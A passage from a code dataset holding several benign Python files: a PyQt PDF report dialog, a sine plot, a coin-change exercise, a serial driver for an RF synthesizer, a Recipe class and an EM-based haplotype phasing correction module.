actionPrint(self) :\r\n\t\t'''\r\n\t\tProcess the printing GUI\r\n\t\t'''\r\n\t\tpath_savefig = self.parent.path_fig+'\\\\'   # Path figures\r\n\t\tcqc_number=''\r\n\t\ttext=''\r\n\t\tcomment = ''\r\n\t\tpath_pdf = QFileDialog.getExistingDirectory(self, 'Choose Backup folder', \"Please, choose a folder to save the PDF report\")  # Open the File Dialog Window\r\n\r\n\t\twhile (len(text) == 0) or text+'.pdf' in os.listdir(path_pdf):\r\n\t\t\ttext, ok = QInputDialog.getText(self, 'Title', 'Enter a report name:')\r\n\t\t\tif not ok :\r\n\t\t\t\tbreak\r\n\t\ttitle_report= text+\".pdf\"\r\n\r\n\t\tchoix = QMessageBox.information(self, \"Information\", \"Do you want to put a CQC number ?\", QMessageBox.Yes | QMessageBox.No)\r\n\t\tif choix == QMessageBox.Yes : \r\n\t\t\twhile(len(cqc_number) == 0):\r\n\t\t\t\tcqc_number, ok = QInputDialog.getText(self, 'CQC Number', 'Enter a CQC number:')\r\n\r\n\t\tchoix1 = QMessageBox.information(self, \"Information\", \"Do you want to add a comment\", QMessageBox.Yes | QMessageBox.No)\r\n\t\tif choix1 == QMessageBox.Yes : \r\n\t\t\twhile(len(comment) == 0 or  len(comment) > 300):\r\n\t\t\t\tcomment, ok = QInputDialog.getText(self, 'Comment(s)', 'Enter your comment (300')\r\n\r\n\r\n\t\tchoix2, valid = QInputDialog.getItem(self, \"Number of charts per page\", \"Choose a number \", (\"8\", \"15\", \"28\"), 1)\r\n\t\tif valid == False :\r\n\t\t\tchoix2 = 15\r\n\t\t\r\n\t\tif self.radioButtonSelection.isChecked() :\r\n\t\t\tfolder = \"All\\\\\"\r\n\t\t\tself.sel=[]\r\n\t\t\tnum_sel=[]\r\n\t\t\tA=self.listViewName.selectionModel()\r\n\t\t\tself.sel_item =A.selectedIndexes()\r\n\t\t\tfor item in self.sel_item :\r\n\t\t\t\tnum_sel.append(item.row())\r\n\t\t\tself.sel=self.get_name(num_sel)\r\n\r\n\t\telif self.radioButtonSelectionwithLim.isChecked() :\r\n\t\t\tfolder = \"AllwithLimit\\\\\"\r\n\t\t\tself.sel=[]\r\n\t\t\tnum_sel=[]\r\n\t\t\tB=self.listViewNamewithLim.selectionModel()\r\n\t\t\tself.sel_item=B.selectedIndexes()\r\n\t\t\tfor item in self.sel_item :\r\n\t\t\t\tnum_sel.append(item.row())\r\n\t\t\tself.sel=self.get_name(num_sel)\r\n\r\n\t\telif self.radioButtonSelectionwithRef.isChecked() :\r\n\t\t\tfolder = \"RefwithLimit\\\\\"\r\n\t\t\tself.sel=[]\r\n\t\t\tnum_sel=[]\r\n\t\t\tC = self.listViewNamewithRef.selectionModel()\r\n\t\t\tself.sel_item= C.selectedIndexes()\r\n\t\t\tfor item in self.sel_item :\r\n\t\t\t\tnum_sel.append(item.row())\r\n\t\t\tself.sel=self.get_name(num_sel)\r\n\r\n\t\telif self.radioButtonRef.isChecked() :\r\n\t\t\tself.sel = []\r\n\t\t\tfolder = \"RefwithLimit\\\\\"\r\n\r\n\t\telif self.radioButtonFailwithLim.isChecked() :\r\n\t\t\tself.sel = []\r\n\t\t\tfolder = \"OnlyFail\\\\\"\r\n\r\n\t\telif self.radioButtonAllwithLim.isChecked() :\r\n\t\t\tself.sel=[]\r\n\t\t\tfolder = \"AllwithLimit\\\\\"\r\n\r\n\t\telif self.radioButtonAll.isChecked():\r\n\t\t\tself.sel = []\r\n\t\t\tfolder = \"All\\\\\"\r\n\r\n\t\telse:\r\n\t\t\tself.sel = []\r\n\t\t\tfolder = \"1Device\\\\\"\r\n\t\r\n\t\tif self.checkInput(text, path_pdf, path_savefig+folder) == 0:\r\n\t\t\tif len(cqc_number) > 0 :\r\n\t\t\t\tcreate_report_cqc(title_report, cqc_number, path_savefig, folder, self.sel, comment, path_pdf, choix2)\r\n\t\t\telse :\r\n\t\t\t\tcreate_report(title_report, path_savefig, folder, self.sel, comment, path_pdf, choix2)\r\n\r\n\t\t\tos.startfile(path_pdf+\"//\"+title_report) #Open PDF\r\n\t\t\tself.close()\r\n\t\telse :\r\n\t\t\tmsgbox = QMessageBox.critical(self, \"Warning\", \"Wrong user inputs. Cannot make the report.\\n Please check the documentation\")\r\n\t\t\tif msgbox == 1024 :\r\n\t\t\t\tself.close()\r\n\t\t\r\n\t\t\t\r\n\tdef with_selection(self) :\r\n\t\t\r\n\t\tself.model=QStandardItemModel(self.listViewName)\r\n\t\t\r\n\t\tfor ind, file in enumerate(self.parent.main_mfiles) :\r\n\t\t\titem=QStandardItem(file.replace(\"m_\", \"\").replace(\".csv\", \"\"))\r\n\t\t\tself.model.appendRow(item)\r\n\t\tself.listViewName.setModel(self.model)\r\n\t\tself.listViewName.show()\r\n\r\n\t\t\r\n\tdef with_selectionLim(self) :\r\n\t\t\r\n\t\tself.model=QStandardItemModel(self.listViewNamewithLim)\r\n\t\t\r\n\t\tfor ind, file in enumerate(self.parent.main_mfiles) :\r\n\t\t\titem=QStandardItem(file.replace(\"m_\", \"\").replace(\".csv\", \"\"))\r\n\t\t\tself.model.appendRow(item)\r\n\t\tself.listViewNamewithLim.setModel(self.model)\r\n\t\tself.listViewNamewithLim.show()\r\n\r\n\tdef with_selectionRef(self) :\r\n\t\t\r\n\t\tself.model=QStandardItemModel(self.listViewNamewithRef)\r\n\t\t\r\n\t\tfor ind, file in enumerate(self.parent.main_mfiles) :\r\n\t\t\titem=QStandardItem(file.replace(\"m_\", \"\").replace(\".csv\", \"\"))\r\n\t\t\tself.model.appendRow(item)\r\n\t\tself.listViewNamewithRef.setModel(self.model)\r\n\t\tself.listViewNamewithRef.show()\r\n\r\n\tdef get_name(self, num_sel):\r\n\t\tnames =[]\r\n\t\tfor ind, val in enumerate(self.parent.main_mfiles):\r\n\t\t\tif ind in num_sel:\r\n\t\t\t\tnames.append(val)\r\n\t\treturn names\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n\timport sys\r\n\tfrom PyQt5 import QtGui\r\n\timport numpy as np\r\n\r\n\r\n\tapp = QApplication(sys.argv)\r\n\tmain = MainPrint()                       # create the application \r\n   \r\n\tmain.show()                             # show the application\r\n\r\n\tsys.exit(app.exec_())                   # close the GUI event loop\r\n","repo_name":"Ricky47000/hello-world","sub_path":"customPrint.py","file_name":"customPrint.py","file_ext":"py","file_size_in_byte":5947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"573842442","text":"#!/usr/bin/python3\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nN = 32\nFs = 4.5e9\nFc = 0.12345e9\n\nt = np.linspace(0,N-1,N)/Fs\ns = np.sin(2*np.pi*Fc*t)\n\nplt.plot(t, s, 'ro-')\nplt.ylabel('value')\nplt.xlabel('time')\nplt.show()\n\n#print('a = {}\\n'.format(a))\n#print(a.ndim, a.shape, a.size, a.dtype, a.itemsize, a)\n\n\n\n\n","repo_name":"hdlguy/fft_demo","sub_path":"numpy/test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"}
+{"seq_id":"17468801801","text":"import math\n\n# Given enough pennies (1 cent), nickels (5 cents), dimes (10 cents) and quarters (25 cents),\n# how many ways can you make change?\n\n\n# first version, just nickels and pennies:\ndef ways(cents):\n    counter = 2  # assumes cases of all pennies, and max nickels\n    max_nickels = math.floor(cents/5)\n\n    for i in range(1, max_nickels):\n        num_nickels_pennies = cents % (i*5)\n        counter += 1\n    return counter\n\n\n# scaled version:\ndef ways2(cents):\n    max_quarters = math.floor(cents / 25)\n    max_dimes = math.floor(cents / 10)\n    max_nickels = max_dimes*2\n\n    counter = 0\n    for x in range(max_quarters+1):\n        for i in range(max_dimes+1):\n            for j in range(max_nickels+1):\n                pennies = cents - (25*x) - (10*i) - (5*j)\n                if pennies >= 0:\n                    print(x, i, j, pennies)\n                    counter += 1\n                else:\n                    pass\n\n    return counter\n\n\nprint(\"counter: \", ways2(100), \"ways\")\n","repo_name":"anterra/pair-programming","sub_path":"coins.py","file_name":"coins.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"14564363069","text":"import serial\nimport io\nimport re\nimport time\n\nclass Panorama:\n\n    type = 'Panorama'\n    port = None\n    status = 'Disconn'\n\n    att_max = 31\n    att_min = 0\n\n\n    #  'Disconn', 'Conn', 'Err'\n\n    def __init__(self):\n        self.port = serial.Serial()\n\n\n        # ----- Настройки порта\n        self.port.baudrate = 115200\n        self.port.bytesize = 8\n        self.port.parity = 'N'\n        self.port.stopbits = 1\n        self.port.timeout = 0.1\n\n\n    def resetDef(self):\n        self.setMode('standby')\n        time.sleep(1)\n        self.setMode('work')\n        time.sleep(1)\n\n        #self.setAtt(0)\n        #time.sleep(0.1)\n        #self.setLNA(False)\n        #time.sleep(0.1)\n        #self.setRef('INT')\n        #time.sleep(0.1)\n\n\n\n\n    def ask(self, indata):\n        self.send(indata)\n        return self.read()\n\n    def testConnection(self):\n        data = self.ask('ver')\n        try:\n            if data != [] and data[0].find('PAN_SYN') != -1:\n                return True\n            else:\n                return False\n        except:\n            return False\n\n    def send(self, comm):\n        comm = comm + '\\n\\r'\n        self.port.write(comm.encode('utf-8'))\n\n    def read(self):\n        data = []\n        ret_data = []\n        try:\n            data = self.port.readlines()\n\n            for lines in data:\n                lines = lines.decode('utf-8')\n                lines = lines.replace('\\n', '')\n                lines = lines.replace('\\r', '')\n\n                if lines != '' and lines != 'SHELL>' and (lines.find('No argument(s)') == -1):\n                    ret_data.append(lines)\n\n            ret_data.pop(0)\n\n            return ret_data\n        except:\n            return data\n\n    def search(self):\n        try:\n            self.port.close()\n        except:\n            pass\n\n        ports = self.listPorts()\n\n        for i in ports:\n            try:\n                self.port.port = i\n                self.port.open()\n                if self.testConnection():\n                    self.port.close()\n                    return i\n                else:\n                    self.port.close()\n            except:\n                pass\n\n        return None\n\n    def listPorts(self):\n        ports = []\n        for i in range(1, 20):\n            try:\n                self.port.port = 'COM' + str(i)\n                self.port.open()\n                self.port.close()\n                ports.append('COM' + str(i))\n            except:\n                continue\n        return ports\n\n    def connect(self, _port):\n        try:\n            self.port.port = _port\n            self.port.open()\n            self.status = 'Conn'\n        except:\n            self.status = 'Err'\n            raise  # отправляем наверх\n\n    def disconnect(self):\n        try:\n           self.port.close()\n           self.status = 'Conn'\n        except:\n            self.status = 'Err'\n            raise  # отправляем наверх\n\n    def setAtt(self, val):\n        if val < 0:\n            val = 0\n        if val > 31.75:\n            val = 31.75\n        try:\n            data = self.ask('att ' + str(val))\n            time.sleep(0.1)\n            if not data or (data[0].find('Invalid') != -1):\n                return None\n            else:\n                return 'OK'\n        except:\n            return None\n\n    def getAtt(self):\n        try:\n            data = self.ask('att')\n            if not data or (data[0].find('Invalid') != -1):\n                return None\n            else:\n                res = re.search(r'\\d{1,2}\\.\\d{1,2}', data[0])\n                res = float(res.group(0))\n                return res\n        except:\n            return None\n\n    # -----\n\n    def setDAC(self, val):\n        if val < 0:\n            val = 0\n        if val > 1024:\n            val = 1024\n        try:\n            data = self.ask('dac ' + str(val))\n            if not data or (data[0].find('Invalid') != -1):\n                return None\n            else:\n                return 'OK'\n        except:\n            return None\n\n    def getDAC(self):\n        try:\n            data = self.ask('dac')\n            if not data or (data[0].find('Invalid') != -1):\n                return None\n            else:\n                res = re.search(r'\\d+', data[0])\n                res = int(res.group(0))\n                return res\n        except:\n            return None\n\n    # ---\n\n    def setInj(self, val):\n        try:\n            if val:\n                data = self.ask('injector on')\n            else:\n                data = self.ask('injector off')\n            if not data:\n                return None\n            else:\n                return 'OK'\n        except:\n            return None\n\n    def getInj(self):\n        try:\n            data = self.ask('injector')\n            if not data:\n                return None\n            else:\n                if data[0].find('on') != -1:\n                    return True\n                if data[0].find('off') != -1:\n                    return False\n                return None\n        except:\n            return None\n\n    # -----\n\n    def setLNA(self, val):\n        try:\n            if val:\n                data = self.ask('lna int')\n            else:\n                data = self.ask('lna ext')\n            if not data:\n                return None\n            else:\n                return 'OK'\n        except:\n            return None\n\n    def getLNA(self):\n        try:\n            data = self.ask('lna')\n            if not data:\n                return None\n            else:\n                if data[0].find('on') != -1:\n                    return True\n                if data[0].find('off') != -1:\n                    return False\n                else:\n                    return None\n        except:\n            return None\n\n\n    # -----\n\n    def setMode(self, val):\n        try:\n            if val == 'work':\n                data = self.ask('mode work')\n            elif val == 'standby':\n                data = self.ask('mode standby')\n            else:\n                return None\n            if not data:\n                return None\n            else:\n                return 'OK'\n        except:\n            return None\n\n    def getMode(self):\n        try:\n            data = self.ask('mode')\n            if not data:\n                return None\n            else:\n                if data[0].find('standby') != -1:\n                    return 'standby'\n                if data[0].find('operation') != -1:\n                    return 'work'\n                else:\n                    return None\n        except:\n            return None\n\n    # ----\n\n    def setRef(self, val):\n        try:\n            if val == 'EXT':\n                data = self.ask('ref ext')\n            elif val == 'INT':\n                data = self.ask('ref int')\n            else:\n                return None\n            if not data:\n                return None\n            else:\n                return 'OK'\n        except:\n            return None\n\n    def getRef(self):\n        try:\n            data = self.ask('ref')\n            if not data:\n                return None\n            else:\n                if data[0].find('External') != -1:\n                    return 'EXT'\n                if data[0].find('Internal') != -1:\n                    return 'INT'\n                else:\n                    return None\n        except:\n            return None\n\n    #-----\n\n    def setTcxo(self, val):\n        try:\n            if val == 'on':\n                data = self.ask('tcxo on')\n            elif val == 'off':\n                data = self.ask('tcxo off')\n            else:\n                return None\n            if not data:\n                return None\n            else:\n                return 'OK'\n        except:\n            return None\n\n    def getTcxo(self):\n        try:\n            data = self.ask('tcxo')\n            if not data:\n                return None\n            else:\n                if data[0].find('on') != -1:\n                    return 'ON'\n                if data[0].find('off') != -1:\n                    return 'OFF'\n                else:\n                    return None\n        except:\n            return None\n\n    def setFreq(self, val):\n        try:\n            if val < 500:\n                val = 500\n            if val > 2500:\n                val = 2500\n            val = (val + 3600)\n            val = str(int(val))\n            data = self.ask('lmx2592 frequency adjust ' + val + '000000')\n            if data[0].find('set'):\n                return 'OK'\n            else:\n                return None\n        except:\n            return None\n\n    def getFreq(self):\n        try:\n            data = self.ask('lmx2592 frequency')\n            data = re.search(r'\\d+\\.\\d+', data[0])\n            data = float(data.group(0))\n            data = float(data) / 1000000\n            data = data - 3600\n            return int(data)\n        except:\n            return None\n\n    def getLmxFreq(self):\n        data = self.ask('lmx2592 frequency')\n        data = re.search(r'\\d+\\.\\d+', data[0])\n        data = float(data.group(0))\n        data = float(data) / 1000000\n        return data\n\n    def setFreqReboot(self, val):\n        ret = self.setFreq(val)\n        time.sleep(0.3)\n        return ret\n","repo_name":"lolizz00/__RF_Test_Tool","sub_path":"Python/Panorama.py","file_name":"Panorama.py","file_ext":"py","file_size_in_byte":9231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"28296939400","text":"from typing import List\nfrom enum import Enum\nimport sys\n\n\nclass RecipeType(Enum):\n    STARTER = 1\n    CORE = 2\n    DESSERT = 3\n    OTHER = 4\n        \n\n\nclass Recipe:\n    def __init__(self, name: str, cooking_lvl: int, ingredients: List[str], description: str, recipe_type: RecipeType) -> None:\n        if not name:\n            print(\"Error: Name is required\", file=sys.stderr)\n            return\n        if cooking_lvl < 1 or cooking_lvl > 5:\n            print(\n                \"Error: `cooking_lvl` should be in the range [1, 5]\", file=sys.stderr)\n            return\n        if not ingredients:\n            print(\"Error: `ingredients` must not be empty\", file=sys.stderr)\n            return\n        if not recipe_type:\n            print(\"Error: `recipe_type` is required\", file=sys.stderr)\n            return\n\n        self.name = name\n        self.cooking_lvl = cooking_lvl\n        self.ingredients = ingredients\n        self.description = description\n        self.recipe_type = recipe_type\n\n    def __str__(self) -> str:\n        return f\"\"\"{self.name}:\nLevel: {self.cooking_lvl}\nIngredients: {\", \".join(self.ingredients)}\nRecipe type: {str(self.recipe_type)}\nDescription: {self.description}        \n\"\"\"\n","repo_name":"Yanis-F/42ai-bootcamp-python","sub_path":"module01/ex00/Recipe.py","file_name":"Recipe.py","file_ext":"py","file_size_in_byte":1206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"41040653005","text":"# rpc.py - Reference Phasing Correction\n# Xianjie Huang\n# 2023-01-05\n\nimport anndata as ad\nimport getopt\n#import matplotlib.pyplot as plt\nimport multiprocessing\nimport numpy as np\nimport os\nimport pandas as pd\nimport scipy as sp\nimport scipy.io\nfrom scipy.special import logsumexp\nimport sys\nimport time\n\n\ndef format_theta(theta, epsilon = 1e-6, inplace = True):\n    \"\"\"Format Theta Values\n    \n    Add a tiny value to theta = 0 or subtract a tiny value from theta = 1, to\n    avoid numeric issues in calculating log(theta) or log(1 - theta).\n\n    Parameters\n    ----------\n    theta: A float matrix containing 2 columns. Theta values, the sum\n        of each row is 1 [np.ndarray((M, 2))]\n    epsilon: A float scalar. The tiny value added or subtracted [float]\n    inplace: A bool. Whether to modify `theta` in-place [bool]\n\n    Returns\n    -------\n    A formatted float matrix of theta(s), in the same dimension with\n    the input matrix [np.ndarray((M, 2))]\n\n    Example\n    -------\n    theta = np.zeros((10, 2))\n    theta[:, 0] = np.random.rand(10)\n    theta[0, 0] = 0\n    theta[:, 1] = 1 - theta[:, 0]\n\n    theta_new = format_theta(theta, epsilon = 1e-10)\n    print(theta_new)\n    \"\"\"\n    if not inplace:\n        theta = theta.copy()\n\n    idx = (theta[:, 0] <= 0) + (theta[:, 1] >= 1)\n    theta[idx, 0] = epsilon\n    theta[idx, 1] = 1 - epsilon\n    \n    idx = (theta[:, 0] >= 1) + (theta[:, 1] <= 0)\n    theta[idx, 0] = 1 - epsilon\n    theta[idx, 1] = epsilon\n    \n    return(theta)\n\n\ndef ref_phasing_correction(A, D, hap, epsilon_hap = 1e-2, \n                           max_iter = 1000, epsilon_conv = 1e-6,\n                           verbose = True):\n    \"\"\"XClone Reference Phasing Correction\n    \n    Correct errors in XClone reference phasing, taking AD, DP matrix, and\n    haplotypes as input.\n    \n    Parameters\n    ----------\n    A: An integer AD count matrix of N blocks and M cells [np.ndarray((N, M))]\n    D: An integer DP count matrix of N blocks and M cells [np.ndarray((N, M))]\n    hap: A binary vector. Haplotype (0 for H0, 1 for H1) of ALT alleles in \n        N blocks before correction [np.array((N, ))]\n    epsilon_hap: A float. Estimated error rate of reference phased haplotypes,\n        used in constructing prior `pi`. Note that `pi` is a float matrix for\n        N blocks [np.ndarry((N, 2))], which are the prior probabilities of \n        the ALT allele being assigned to H0 or H1 in each block [float]\n    max_iter: An integer scalar. Maximum iterations of EM [int]\n    epsilon_conv: A float scalar. The minimum absolute difference between\n        two EM iterations required to stop iterations [float]\n    verbose: A bool. Whether to output detailed logging information [bool]\n\n    Returns\n    -------\n    A dict of 7 elements. \n    psi: an N x 2 float matrix, the expectations of the latent variables, \n        each row is the estimated posterial probabilities of the ALT allele \n        being assigned to H0 or H1 [np.ndarry((N, 2))]\n    theta: a M x 2 float matrix, each row is the probability parameters \n        in binomial distributions for H0 and H1 [np.ndarry((M, 2))]\n    pi: a float matrix, which are the prior probabilities of the ALT allele \n        being assigned to H0 or H1 in each block [np.ndarry((N, 2))]\n    log_lik_list: an float vector containing loglikelihood from each \n        iteration [np.ndarray((n_iter, ))]\n    flip: an integer vector of N elements indicating whether AD in each \n        block should be flipped [np.ndarray((N, 1))]\n    AD_phased: an integer phased/flipped AD count matrix of N blocks and \n        M cells [np.ndarray((N, M))]\n    hap_new: A binary vector. Haplotype (0 for H0, 1 for H1) of ALT alleles in\n        N blocks after correction [np.array((N, ))]\n        \n    Example\n    -------\n    dat = run_simulation(N = 100, M = 220, pi = 0.3, DP_lambda = 1226,\n                         perc = 0.8, \n                         theta_mu2 = c(0.45, 0.9), theta_sigma = 0.15)\n    res = ref_phasing_correction(A = dat[\"AD\"], D = dat[\"DP\"], \n                                 hap = dat[\"hap\"])\n    print(res[\"hap_new\"])\n    \"\"\"\n    func = \"ref_phasing_correction\"\n    tiny = 1e-10\n  \n    N, M = A.shape\n    B = D - A\n    \n    colsum_D = np.array(D.sum(axis = 0).reshape((-1, 1)), dtype = \"float\")\n    colsum_D[colsum_D <= 0] = tiny\n  \n    # Initialization\n    theta = np.zeros((M, 2))\n    theta[:, 0] = np.random.rand(M)\n    theta[:, 1] = 1 - theta[:, 0]\n    theta = format_theta(theta, tiny)\n  \n    pi = np.zeros((N, 2))\n    pi[:, 0] = [1 - epsilon_hap if h == 0 else epsilon_hap for h in hap]\n    pi[:, 1] = 1 - pi[:, 0]\n  \n    phi = A @ np.log(theta) + B @ np.log(1 - theta) + np.log(pi)\n    xi = logsumexp(phi, axis = 1)\n    log_lik = np.sum(xi)\n  \n    log_lik_list = [log_lik]\n    if verbose:\n        print(\"[%s][init] log-likelihood = %f.\" % (func, log_lik))\n\n    itr = 0\n    while itr < max_iter:\n        # E-step\n        psi = np.exp(phi - xi.reshape((-1, 1)))\n    \n        # M-step\n        theta = (A.T @ psi + B.T @ (1 - psi)) / colsum_D\n        theta = format_theta(theta, tiny)\n        \n        # Check\n        phi = A @ np.log(theta) + B @ np.log(1 - theta) + np.log(pi)\n        xi = logsumexp(phi, axis = 1)\n        log_lik_new = np.sum(xi)\n    \n        log_lik_list.append(log_lik_new)\n        if verbose:\n            print(\"[%s][iter-%d] log-likelihood = %f.\" %\n                  (func, itr, log_lik_new))\n    \n        if abs(log_lik - log_lik_new) < epsilon_conv:\n            if verbose:\n                print(\"[%s][stop] abs(log_lik - log_lik_new) < epsilon (%e).\" %\n                      (func, epsilon_conv))\n                print(\"[%s][quit] final log-likelihood = %f, iter = %d.\" %\n                       (func, log_lik_new, itr))\n            break\n        else:\n            log_lik = log_lik_new\n        itr = itr + 1\n  \n    if verbose and itr >= max_iter:\n        print(\"[%s][stop] number of iterations exceeds max_iter (%d).\" % \n               (func, max_iter))\n        print(\"[%s][quit] final log-likelihood = %f, iter = %d.\" %\n               (func, log_lik_new, itr))\n  \n    hap_new = np.argmax(psi, axis = 1)\n    flip = 1 - (hap == hap_new).reshape((-1, 1))\n    AD_phased = A\n  \n    return(dict(\n        psi = psi, theta = theta, pi = pi,\n        log_lik_list = log_lik_list,\n        flip = flip, AD_phased = AD_phased, hap_new = hap_new))\n\n\ndef multi_init_rpc(A, D, hap, epsilon_hap = 1e-2, \n                   max_iter = 1000, epsilon_conv = 1e-6,\n                   n_init = 100, verbose = True):\n    \"\"\"XClone Reference Phasing Correction with Multiple Random Initialization\n    \n    Correct errors in XClone reference phasing with multiple random \n    initialization, taking AD, DP matrices, and hap as input, to alleviate \n    potential issue of local optima.\n\n    Parameters\n    ----------\n    @inheritParams ref_phasing_correction\n    n_init: An integer scalar. Number of random initialization [int]\n    \n    Returns\n    -------\n    A dict of 3 elements.\n    idx_max: An integer. The index (0-based) of the maximum loglikelihood\n        in the list `all_log_lik` [int]\n    all_log_lik: a numeric vector of final loglikelihood for each random \n        initialization [np.ndarray((n_init, ))]\n    all_res: a list of n_init elements, each element is the returned value\n        of `run_local_phasing` for corresponding initialization [list]\n\n    Example\n    -------\n    dat = run_simulation(N = 100, M = 220, pi = 0.3, DP_lambda = 1226,\n                         perc = 0.8, \n                         theta_mu2 = c(0.45, 0.9), theta_sigma = 0.15)\n    res = multi_init_rpc(A = dat[\"AD\"], D = dat[\"DP\"], hap = dat[\"hap\"], \n                         n_init = 100)\n    \"\"\"\n    func = \"multi_init_rpc\"\n  \n    all_res = []\n    all_log_lik = np.zeros((n_init, ))\n    for idx in range(n_init):\n        res = ref_phasing_correction(\n            A = A, D = D, hap = hap, epsilon_hap = epsilon_hap,\n            max_iter = max_iter, epsilon_conv = epsilon_conv, verbose = False)\n        final_log_lik = res[\"log_lik_list\"][-1]\n        if verbose:\n            print(\"[%s][init-%d] final loglikelihood is %f.\" %\n                   (func, idx, final_log_lik))\n        all_res.append(res)\n        all_log_lik[idx] = final_log_lik\n    idx_max = np.argmax(all_log_lik)\n    if verbose:\n        print(\"[%s][stop] max loglikelihood is %f from initialization-%d.\" %\n               (func, np.max(all_log_lik), idx_max))\n    return(dict(idx_max = idx_max, all_log_lik = all_log_lik, \n                all_res = all_res))\n\n\ndef region_rpc(adata,\n               reg_name, reg_chrom, reg_start, reg_end,\n               n_init = 100, epsilon_hap = 1e-2,\n               verbose = False):\n    \"\"\"Reference Phasing Correctioin in Specific Region\n\n    Parameters\n    ----------\n    adata: AnnData object storing SNP x Cell data. Its `obs` contains 6 columns\n        chrom, pos, ref, alt, ref_hap, alt_hap obtained from calling \n        `load_snp_meta` [ad.AnnData]\n    reg_name: region name/ID [str]\n    reg_chrom: region chromosome [str]\n    reg_start: 1-based start position of region, inclusive [int]\n    reg_end: 1-based end position of region, inclusive [int]\n    n_init: number of random initialization for EM algorithm [int]\n    epsilon_hap: A float. Estimated error rate of reference phased haplotypes,\n        used in constructing prior `pi` [float]\n    verbose: A bool. Whether to output detailed logging information [bool]\n\n    Returns\n    -------\n    A dict containing 7 elements [dict]:\n    reg_name, reg_chrom, reg_start, reg_end, as demonstrated in `Parameters`.\n    n_flip: number of SNPs whose haplotypes should be flipped [int]\n    n_snp: number of total SNPs [int]\n    snp_meta: meta information of all SNPs. A dataframe containing 8 columns:\n        chrom, chromosome name [str]\n        pos, 1-based genomic position of SNP [int]\n        ref, REF allele, one of A/C/G/T/N [str]\n        alt, ALT allele, one of A/C/G/T/N [str]\n        ref_hap, haplotype ID of REF allele [int]\n        alt_hap, haplotype ID of ALT allele [int]\n        ref_hap_new, corrected haplotype ID of REF allele [int]\n        alt_hap_new, corrected haplotype ID of ALT allele [int]\n    \"\"\"\n    func = \"region_rpc\"\n    if verbose:\n        sys.stderr.write(\"[I::%s] processing region %s ...\\n\" % \\\n            (func, reg_name))\n\n    reg_dat = adata[(adata.obs.chrom == reg_chrom) &\n                    (adata.obs.pos >= reg_start) &\n                    (adata.obs.pos <= reg_end)]\n\n    AD = reg_dat.layers[\"AD\"].toarray()\n    DP = reg_dat.layers[\"DP\"].toarray()\n    hap = np.array(reg_dat.obs.alt_hap, dtype = \"int\")\n    N, M = AD.shape\n\n    if N <= 0:\n        n_flip = 0\n        snp_meta = pd.DataFrame([], columns = [\"chrom\", \"pos\", \"ref\", \"alt\", \\\n            \"ref_hap\", \"alt_hap\", \"ref_hap_new\", \"alt_hap_new\"])\n    elif N == 1:\n        n_flip = 0\n        snp_meta = reg_dat.obs.copy()\n        snp_meta[\"ref_hap_new\"] = 1 - hap\n        snp_meta[\"alt_hap_new\"] = hap\n    else:\n        # correction\n        mi_res = multi_init_rpc(\n            AD, DP, hap, epsilon_hap = epsilon_hap, \n            max_iter = 1000, epsilon_conv = 1e-6,\n            n_init = n_init, verbose = False)\n\n        res = mi_res[\"all_res\"][mi_res[\"idx_max\"]]\n        snp_meta = reg_dat.obs.copy()\n        snp_meta[\"ref_hap_new\"] = 1 - res[\"hap_new\"]\n        snp_meta[\"alt_hap_new\"] = res[\"hap_new\"]    \n        n_flip = np.sum(res[\"flip\"])\n\n    if verbose:\n        sys.stderr.write(\n            \"[I::%s] region %s: %d (total %d) SNPs are flipped.\\n\" % \\\n            (func, reg_name, n_flip, N))\n\n    return(dict(reg_name = reg_name, reg_chrom = reg_chrom,\n                reg_start = reg_start, reg_end = reg_end,\n                n_flip = n_flip, n_snp = N, \n                snp_meta = snp_meta))\n\n\ndef show_progress(res = None):\n    return(res)\n\n\n# TODO: use region.RegionSet to implement @param gene_set.\ndef multi_reg_rpc(\n    adata, reg_set,\n    n_init = 100, epsilon_hap = 1e-2,\n    n_proc = 1, verbose = False):\n    \"\"\"Reference Phasing Correctioin in Multiple Regions\n\n    Parameters\n    ----------\n    adata: AnnData object storing SNP x Cell data. Its `obs` contains 6 columns\n        chrom, pos, ref, alt, ref_hap, alt_hap obtained from calling \n        `load_snp_meta` [ad.AnnData]\n    reg_set: a dataframe containing region meta information. It has 4 columns\n        chrom, start, end, name obtained from calling `load_region_meta`\n        [pd.DataFrame]\n    n_init: number of random initialization for EM algorithm [int]\n    epsilon_hap: A float. Estimated error rate of reference phased haplotypes,\n        used in constructing prior `pi` [float]\n    n_proc: number of processes [int]\n    verbose: A bool. Whether to output detailed logging information [bool]\n\n    Returns\n    -------\n    A dict of 2 elements:\n    snp_stat, a dataframe containing 8 columns [pd.DataFrame]:\n        chrom, pos, ref, alt, ref_hap, alt_hap, ref_hap_new, alt_hap_new,\n        see `region_rpc` for details.\n    reg_stat, a dataframe containing 6 columns [pd.DataFrame]:\n        chrom [str], start [int], end [int], name [str] of region \n        n_flip: number of SNPs whose haplotypes should be flipped [int]\n        n_snp: number of total SNPs [int]\n    \"\"\"\n    func = \"multi_reg_rpc\"\n\n    n_reg = reg_set.shape[0]\n    result = []\n    if n_proc > 1:\n        pool = multiprocessing.Pool(processes = n_proc)\n        for i in range(n_reg):\n            res = pool.apply_async(region_rpc, (\n                adata,                          \n                reg_set[\"name\"][i], reg_set[\"chrom\"][i],        \n                reg_set[\"start\"][i], reg_set[\"end\"][i],\n                n_init,\n                epsilon_hap,\n                verbose), \n                callback = show_progress)\n            result.append(res)\n        pool.close()\n        pool.join()\n        result = [res.get() for res in result]\n    else:\n        for i in range(n_reg):\n            res = region_rpc(\n                adata,\n                reg_set[\"name\"][i], reg_set[\"chrom\"][i],\n                reg_set[\"start\"][i], reg_set[\"end\"][i],\n                n_init,\n                epsilon_hap,\n                verbose = verbose)\n            result.append(res)\n\n    assert n_reg == len(result)\n\n    reg_stat, snp_stat = None, None\n\n    reg_stat = pd.DataFrame([res[\"reg_chrom\"] for res in result], \n                            columns = [\"chrom\"])\n    